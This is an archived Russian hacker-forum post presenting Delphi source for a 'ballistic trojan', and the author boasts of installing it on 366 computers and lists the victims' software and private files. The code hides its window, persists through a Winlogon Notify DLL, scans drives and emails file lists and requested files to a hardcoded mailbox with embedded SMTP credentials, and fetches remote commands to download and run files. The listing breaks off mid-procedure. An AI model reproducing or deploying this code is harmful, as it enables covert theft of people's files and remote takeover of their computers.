Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Баллистический троян для сaмых маленьких.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Баллистический троян для сaмых маленьких.
Имя
Сообщение << Старые топики   Новые топики >>
Баллистический троян для сaмых маленьких. - 2007-11-18 12:02:37.603333   
Alaget

Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
Написан с использованием визуальных компонентов, и сторонними функциями три года назад, много где проглядывается некашерный код, написан на Delphi 7, и размером 559 килобайт, однако это не помешало ему быть в активной эксплуатации, полгода, обновления были только по расширению функциональности, ошибок обнаружено не было.Может слишком запутанно но при желании разобраться можно. Функциональность можно расширять написанием новых процедур. Отсутствует механизм обхода брандмауэров, но это не страшно, так как эта программа загруженная 361 раз, была установлена на 366 компьютерах работала нормально, из них на 41 был установлен Outpost, но по всей видимости неправильно настроен,
Антивирус Касперского на 247,
Доктор Веб на 12,
Acrobat Reader на 148,
Nero на 247,
Alcohol 120% на 17,
Microsoft Office на 366,
Mozilla и Опера одновременно на 26, по отдельности 12 и 3 соответственно,
icq на 185,
qip на 27,
AutoCAD с множеством чертежей на 15.
1С Предприятие в купе с Sable на 24, лицензионных не обнаружилось.
Visual Studio на 5, Delphi обнаружено не было, этот факт навеивает на некоторые размышления.
 Counter-Strike на 344,
 Sims на 57.
Драйвера Nokia -172,
драйвера Sony Erricson – 124.
Папка windows на 366 была C:\Windows.
На все компьютерах обнаружены файлы с эротическим содержанием, причём в среднем они занимали не менее 3% дискового пространства, mp3 – 15%, jpg,bmp,gif -12%.
Дедуктивный метод подсказал, что примерно 200 участников эксперимента не женатые мужчины в возрасте от 18 до 35.  
Выше были данные для любителей статистики.  Для разархивации, и удобного просмотра, списка файлов были написаны две дополнительные программы. Думаю для тех кто только начал изучать Delphi это будет  немного полезно.
 
unit Unit1; &nbsp; interface &nbsp; uses &nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &nbsp; Dialogs,Registry,WinInet, ExtCtrls,ZLib, IdMessage, IdBaseComponent, &nbsp; IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, &nbsp; StdCtrls,WinSock,ShellApi,URLMon; &nbsp; type &nbsp; TForm1 = class(TForm) &nbsp;&nbsp;&nbsp; Timer1: TTimer; &nbsp;&nbsp;&nbsp; IdSMTP1: TIdSMTP; &nbsp;&nbsp;&nbsp; IdMessage1: TIdMessage; &nbsp;&nbsp;&nbsp; Memo1: TMemo; &nbsp;&nbsp;&nbsp; procedure FormActivate(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer1Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure UPDATE1(Url:String); &nbsp;&nbsp;&nbsp; procedure LoadFE(Url:String); &nbsp; private &nbsp;&nbsp;&nbsp; { Private declarations } &nbsp; public &nbsp;&nbsp;&nbsp; { Public declarations } &nbsp; end; &nbsp; var &nbsp; Form1: TForm1; &nbsp;const &nbsp;Version='1.0.0.0'; &nbsp;Serial='Novosibirsk Akademgorodok 24 Mart 2004'; &nbsp;Osnsite='http://alco-help.narod.ru/'; &nbsp;EFrom='ccrrddggeehhjj@mail.ru'; &nbsp;EPort='25'; &nbsp;EHost='smtp.mail.ru'; &nbsp;EUser= ‘ccrrddggeehhjj’; &nbsp;EPass='fhhfjdjdjr4777474jjfjfj++’’’'; &nbsp;ECom=’identmodefff@inbox.ru’; &nbsp; implementation &nbsp; {$R *.dfm} {$R Lib.res} //----- function IsInternet: Boolean; &nbsp;var &nbsp;&nbsp; dwConnectionTypes: DWORD; &nbsp;begin &nbsp;&nbsp; dwConnectionTypes := &nbsp;&nbsp;&nbsp;&nbsp; INTERNET_CONNECTION_MODEM + &nbsp;&nbsp;&nbsp;&nbsp; INTERNET_CONNECTION_LAN + &nbsp;&nbsp;&nbsp;&nbsp; INTERNET_CONNECTION_PROXY; &nbsp;&nbsp; Result := InternetGetConnectedState(@dwConnectionTypes, 0); &nbsp;end; //----- function ExtUrl(const AUrl:string):string; var i:Integer; begin i:=LastDelimiter('/',AUrl); Result:=Copy(AUrl,i+1,Length(AUrl)-(i)); end; //----- Function After(Src:string;Var S:string):string; Var F:Word; begin F:=POS(Src,S) ; if F=0 then After:='' else After:=COPY(S,F+length(src),length(s)) ; end; //----- Function Before(Src:string;Var S:string ):string; Var F:Word; begin F:=POS(Src,S);if F=0 then Before:=S else Before := COPY(S,1,F-1); end; //----- function GetLocalIP: String; const WSVer = $101; var wsaData: TWSAData;P:PHostEnt;Buf: array [0..127] of Char; begin Result := ''; if WSAStartup(WSVer, wsaData) = 0 then begin if GetHostName(@Buf, 128) = 0 then begin P:=GetHostByName(@Buf); if P&lt;&gt;nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^); end;WSACleanup;end; end; //----- function GetInetFile(SourceFile,DestFile:string):Boolean; begin try Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0; except Result:=False; end; end; //----- procedure CPUinfo(info:TStringList); var lpDisplayDevice:TDisplayDevice;dwFlags:DWORD;cc:DWORD;ld:DWORD;i:integer;mem:TMemoryStatus; function GetCPUSpeed:double; const DelayTime=500; var TimerHi,TimerLo:DWORD;PriorityClass,Priority:integer; begin &nbsp; PriorityClass:=GetPriorityClass(GetCurrentProcess); &nbsp; Priority:=GetThreadPriority(GetCurrentThread); &nbsp; SetPriorityClass(GetCurrentProcess,REALTIME_PRIORITY_CLASS); &nbsp; SetThreadPriority(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL); &nbsp; Sleep(10); &nbsp; asm &nbsp;&nbsp;&nbsp; dw 310Fh &nbsp;&nbsp;&nbsp; mov TimerLo, eax &nbsp;&nbsp;&nbsp; mov TimerHi, edx &nbsp; end; &nbsp; Sleep(DelayTime); &nbsp; asm &nbsp;&nbsp;&nbsp; dw 310Fh &nbsp;&nbsp;&nbsp; sub eax, TimerLo &nbsp;&nbsp;&nbsp; sbb edx, TimerHi &nbsp;&nbsp;&nbsp; mov TimerLo, eax &nbsp;&nbsp;&nbsp; mov TimerHi, edx &nbsp; end; &nbsp; SetThreadPriority(GetCurrentThread, Priority); &nbsp; SetPriorityClass(GetCurrentProcess, PriorityClass); &nbsp; Result:=TimerLo/(1000.0*DelayTime); end; begin Info.Add(VarToStr(GetCPUSpeed));lpDisplayDevice.cb:=sizeof(lpDisplayDevice);dwFlags:=0;cc:=0; while EnumDisplayDevices(nil,cc,lpDisplayDevice,dwFlags) do &nbsp; begin &nbsp;&nbsp;&nbsp; Inc(cc); &nbsp;&nbsp;&nbsp; Info.Add(lpDisplayDevice.DeviceString); &nbsp; end; GlobalMemoryStatus(mem);info.Add(IntToStr((mem.dwTotalPhys) div 1024));ld:=GetLogicalDrives; &nbsp; for i:=0 to 25 do &nbsp; begin &nbsp;&nbsp;&nbsp; if (ld and (1 shl i)) &lt;&gt; 0 then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; info.Add(Char(Ord('A') + i) + ':\'); &nbsp; end; &nbsp; info.Add(GetLocalIP); end; //----- function GetWork:string; var a : array[0..MAX_PATH] of char; begin GetSystemDirectory(a,SizeOf(a)); Result:=StrPas(a)+'\internal\'; end; //-----Получение папки system32\internal\ function RegId:String; begin Randomize; Result:=IntToStr(Random(255)+1)+'-'+IntToStr(Random(255)+1)+'-'+IntToStr(Random(255)+1); end; //----- function GetId:String; var F:TextFile; &nbsp;&nbsp;&nbsp; s:String; begin AssignFile(F,GetWork+'id.txt'); Reset(F); Readln(F,s); CloseFile(F); Result:=s; end; //----- function GetName:String; var F:TextFile; &nbsp;&nbsp;&nbsp; s:String; begin AssignFile(F,GetWork+'name.txt'); Reset(F); Readln(F,s); CloseFile(F); Result:=s; end; //----- function GetWin:string; var a : array[0..MAX_PATH] of char; begin GetSystemDirectory(a,SizeOf(a)); Result:=StrPas(a)+'\'; end; //-----Получение папки system32 procedure ZLibComp(Files:TStringList;const Filename:String); var InFile,OutFile,TmpFile:TFileStream;Compr:TCompressionStream;i,l:Integer;s:String; begin &nbsp;&nbsp; if Files.Count&gt;0 then &nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp; OutFile:=TFileStream.Create(Filename,fmCreate); &nbsp;&nbsp;&nbsp;&nbsp; try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; l:=Files.Count; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OutFile.Write(l,SizeOf(l)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i:=0 to Files.Count-1 do &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InFile:=TFileStream.Create(Files[i],fmOpenRead); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s:=ExtractFilename(Files[i]); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; l:=Length(s); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OutFile.Write(l,SizeOf(l)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OutFile.Write(s[1],l); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; l:=infile.Size; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OutFile.Write(l,SizeOf(l)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TmpFile:=TFileStream.Create('tmp',fmCreate); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Compr:=TCompressionStream.Create(clMax,tmpfile); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Compr.CopyFrom(InFile,l); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Compr.Free; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TmpFile.Free; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TmpFile:=TFileStream.Create('tmp',fmOpenRead); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OutFile.CopyFrom(tmpFile,0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TmpFile.Free; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InFile.Free; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp; finally &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Outfile.Free; &nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp; DeleteFile('tmp'); &nbsp;end; end; //----- procedure RegName(Name:String); var f1:TextFile; begin AssignFile(f1,GetWork+'name.txt'); Rewrite(f1); Writeln(f1,name); CloseFile(f1); end; //----- procedure CopyF(FileName:String); var b:TStringList; &nbsp;&nbsp;&nbsp; M:TidMessage; &nbsp;&nbsp;&nbsp; Sm:TidSmtp; &nbsp;&nbsp;&nbsp; Att:TidAttachment; begin b:=TStringList.Create; b.Add(Filename); ZLibComp(b,GetWork+After('\',FileName)+'LLL');&nbsp; /////////////////// b.Free; M:=TidMessage.Create(Form1); if FileExists(GetWork+'name.txt') then M.Body.Add('Имя '+GetName); M.Body.Add('ID '+GetId); M.Body.Add('IP '+GetLocalIP); M.Body.Add('Date and time '+DateToStr(Date)+' '+TimeToStr(Time)); M.Body.Add('Command CopyF '+FileName); M.Body.Add('Version '+Version); M.Body.Add('Serial '+Serial); M.Body.Add('Base site '+Osnsite); M.From.Text:=EFrom; M.Recipients.Add; M.Recipients.Items[0].Text:='&lt;'+ECom+'&gt;'; M.Subject:=GetId+' CopyF '+FileName; Att:=TidAttachment.Create(M.MessageParts,GetWork+After('\',FileName)+'LLL'); Sm:=TidSmtp.Create(Form1); Sm.AuthenticationType:=atLogin; Sm.Host:=EHost; Sm.Username:=EUser; Sm.Password:=EPass; Sm.Connect(); if Sm.Connected then Sm.Send(M); Sm.Disconnect; Sm.Free; Att.Free; DeleteFile(GetWork+After('\',FileName)+'LLL'); end; //----- procedure DeleteF(FileName:String); begin if FileExists(FileName) then DeleteFile(FileName); end; //----- procedure ScanF(Dir:String); var ListFile:TStringList; &nbsp;&nbsp;&nbsp; M:TidMessage; &nbsp;&nbsp;&nbsp; Sm:TidSmtp; &nbsp;&nbsp;&nbsp; Att:TidAttachment; procedure FindFile(Dir:string); var &nbsp; SR: TSearchRec; &nbsp; FindRes: Integer; begin &nbsp; FindRes := FindFirst(Dir + '*.*', faAnyFile, SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while FindRes = 0 do &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((SR.Attr and faDirectory) = faDirectory) and &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((SR.Name = '.') or (SR.Name = '..')) then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindRes := FindNext(SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Continue; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((SR.Attr and faDirectory) = faDirectory) then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindFile(Dir + SR.Name + '\'); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;FindRes := FindNext(SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Continue; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ListFile.Add(Dir+SR.Name+' '+FloatToStr(Round(SR.Size/1024))); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindRes := FindNext(SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindClose(SR); end; begin ListFile:=TStringList.Create; FindFile(Dir); M:=TidMessage.Create(Form1); if FileExists(GetWork+'name.txt') then M.Body.Add('Имя '+GetName); M.Body.Add('Идентификатор '+GetId); ListFile.SaveToFile(GetWork+'ListScanF'+GetId+'.txt'); ListFile.Clear; ListFile.Add(GetWork+'ListScanF'+GetId+'.txt'); ZLibComp(ListFile,GetWork+'ListScanF'+GetId+'.LLL'); ListFile.Free; M.Body.Add('IP '+GetLocalIP); M.Body.Add('Date and time '+DateToStr(Date)+' '+TimeToStr(Time)); M.Body.Add('Command ScanF '+Dir); M.Body.Add('Version '+Version); M.Body.Add('Serial '+Serial); M.Body.Add('Base site '+Osnsite); M.From.Text:=EFrom; M.Recipients.Add; M.Recipients.Items[0].Text:='&lt;'+ECom+'&gt;'; M.Subject:=GetId+' ScanF '+Dir; Att:=TidAttachment.Create(M.MessageParts,GetWork+'ListScanF'+GetId+'.LLL'); Sm:=TidSmtp.Create(Form1); Sm.AuthenticationType:=atLogin; Sm.Host:=EHost; Sm.Username:=EUser; Sm.Password:=EPass; Sm.Connect(); if Sm.Connected then Sm.Send(M); Sm.Disconnect; Sm.Free; Att.Free; DeleteFile(GetWork+'ListScanF'+GetId+'.LLL'); end; //----- procedure LoadF(Url:String); begin GetInetFile(Url,GetWork+ExtUrl(Url)); end; //----- procedure TForm1.LoadFE(Url:String); begin GetInetFile(Url,GetWork+ExtUrl(Url)); ShellExecute(Handle, nil,PChar(GetWork+ExtUrl(Url)), nil, nil, SW_SHOW); end; //----- procedure TForm1.UPDATE1(Url:String); begin GetInetFile(Url,GetWork+'update.exe'); ShellExecute(Handle, nil,PChar(GetWork+'update.exe'), nil, nil, SW_SHOW); end; //----- procedure ScanFile(Dir,FileName:String); var ListFile:TStringList; procedure FindFile(Dir:string); var &nbsp; SR: TSearchRec; &nbsp; FindRes: Integer; begin &nbsp; FindRes := FindFirst(Dir + '*.*', faAnyFile, SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while FindRes = 0 do &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((SR.Attr and faDirectory) = faDirectory) and &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((SR.Name = '.') or (SR.Name = '..')) then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindRes := FindNext(SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Continue; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((SR.Attr and faDirectory) = faDirectory) then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindFile(Dir + SR.Name + '\'); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;FindRes := FindNext(SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Continue; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ListFile.Add(Dir+SR.Name+' '+FloatToStr(Round(SR.Size/1024))); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindRes := FindNext(SR); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindClose(SR); end; begin ListFile:=TStringList.Create; FindFile(Dir); ListFile.SaveToFile(GetWork+FileName); ListFile.Free; end; //----- procedure Install; var h:TRegistry; &nbsp;&nbsp;&nbsp; wqlsrih:TResourceStream; &nbsp;&nbsp;&nbsp; F:TextFile; begin ForceDirectories(GetWork); CopyFile(PChar(ParamStr(0)), PChar(GetWork+'internal.exe'), True); wqlsrih:=TResourceStream.Create(hInstance,'wqlsrih',RT_RCDATA); wqlsrih.SaveToFile(GetWin+'wqlsrih.dll'); wqlsrih.Free; h:=TRegistry.Create; h.RootKey := HKEY_LOCAL_MACHINE; h.CreateKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wqlsrih'); h.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wqlsrih',true); h.WriteInteger('Asynchronous',00000001); h.WriteInteger('Impersonate',00000000); h.WriteString('DllName','wqlsrih.dll'); h.WriteString('Startup','ExeStartup'); h.CloseKey; h.Free; AssignFile(F,GetWork+'id.txt'); Rewrite(F); Writeln(F,RegId); CloseFile(F); end; //----- procedure InstallScan; var List:TStringList; &nbsp;&nbsp;&nbsp; F:TextFile; &nbsp;&nbsp;&nbsp; M:TidMessage; &nbsp;&nbsp;&nbsp; Sm:TidSmtp; &nbsp;&nbsp;&nbsp; Att:TidAttachment; &nbsp;&nbsp;&nbsp; s:String; begin ScanFile('C:\','C+.txt'); ScanFile('D:\','D+.txt'); List:=TStringList.Create; List.Add(GetWork+'C+.txt'); List.Add(GetWork+'D+.txt'); ZLibComp(List,GetWork+GetId+'ScanFile.lll'); DeleteFile(GetWork+'C+.txt'); DeleteFile(GetWork+'D+.txt'); AssignFile(F,GetWork+'noscan'); Rewrite(F); Writeln(F,'noscan'); CloseFile(F); List.Clear; CPUinfo(List); List.SaveToFile(GetWork+'tmp'); List.Free; M:=TidMessage.Create(Form1); AssignFile(F,GetWork+'tmp'); Reset(F); while not Eof(F) do &nbsp; begin &nbsp;&nbsp;&nbsp; Readln(F,s); &nbsp;&nbsp;&nbsp; M.Body.Add(s); &nbsp; end; CloseFile(F); DeleteFile(GetWork+'tmp'); M.Body.Add('Version '+Version); M.Body.Add('Serial '+Serial); M.Body.Add('Site '+Osnsite); M.From.Text:=EFrom; M.Recipients.Add; M.Recipients.Items[0].Text:='&lt;'+ECom+'&gt;'; M.Subject:=GetId+' InstallScan'; Att:=TidAttachment.Create(M.MessageParts,GetWork+GetId+'ScanFile.lll'); Sm:=TidSmtp.Create(Form1); Sm.AuthenticationType:=atLogin; Sm.Host:=EHost; Sm.Username:=EUser; Sm.Password:=EPass; Sm.Connect(); if Sm.Connected then Sm.Send(M); Sm.Disconnect; Sm.Free; Att.Free; DeleteFile(GetWork+GetId+'ScanFile.lll'); end; //----- procedure TForm1.FormActivate(Sender: TObject); begin ShowWindow(Handle,SW_HIDE); ShowWindow(Application.Handle,SW_HIDE); if not FileExists(GetWin+'wqlsrih.dll') then Install; Timer1.Enabled:=True; end; &nbsp; procedure TForm1.Timer1Timer(Sender: TObject); var F:TextFile; &nbsp;&nbsp;&nbsp; S:String; begin//Начало процедуры таймера if IsInternet then &nbsp; begin//1 &nbsp;&nbsp;&nbsp; Timer1.Enabled:=False; &nbsp;&nbsp;&nbsp; if not FileExists(GetWork+'noscan') then InstallScan; &nbsp;&nbsp;&nbsp; GetInetFile(Osnsite+'config/update.rar',GetWork+'update.txt'); &nbsp;&nbsp;&nbsp; AssignFile(F,GetWork+'update.txt'); &nbsp; &nbsp;&nbsp;Reset(F); &nbsp;&nbsp;&nbsp; Readln(F,s); &nbsp;&nbsp;&nbsp; if Before(' ',s)&lt;&gt;Version then UPDATE1(After(' ',s)); &nbsp;&nbsp;&nbsp; CloseFile(F); &nbsp;&nbsp;&nbsp; DeleteFile(GetWork+'update.txt'); &nbsp;&nbsp;&nbsp; if GetInetFile(Osnsite+'ide/'+GetId+'.rar',GetWork+'ident.txt') then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin//Индивидуальные действия &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AssignFile(F,GetWork+'ident.txt'); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Reset(F); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Readln(F,s); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not FileExists(GetWork+s) then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin//6 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memo1.Clear; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memo1.Lines.Add(s); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memo1.Lines.SaveToFile(GetWork+s); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memo1.Clear; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while not Eof(f) do &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin//5 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Readln(F,s); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Before(' ',s)='RegName' then RegName(After(' ',s)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Before(' ',s)='CopyF' then CopyF(After(' ',s)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Before(' ',s)='DeleteF' then DeleteF(After(' ',s)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Before(' ',s)='ScanF' then ScanF(After(' ',s)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Before(' ',s)='LoadF' then LoadF(After(' ',s)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Before(' ',s)='LoadFE' then LoadFE(After(' ',s)); &nbsp;&nbsp; 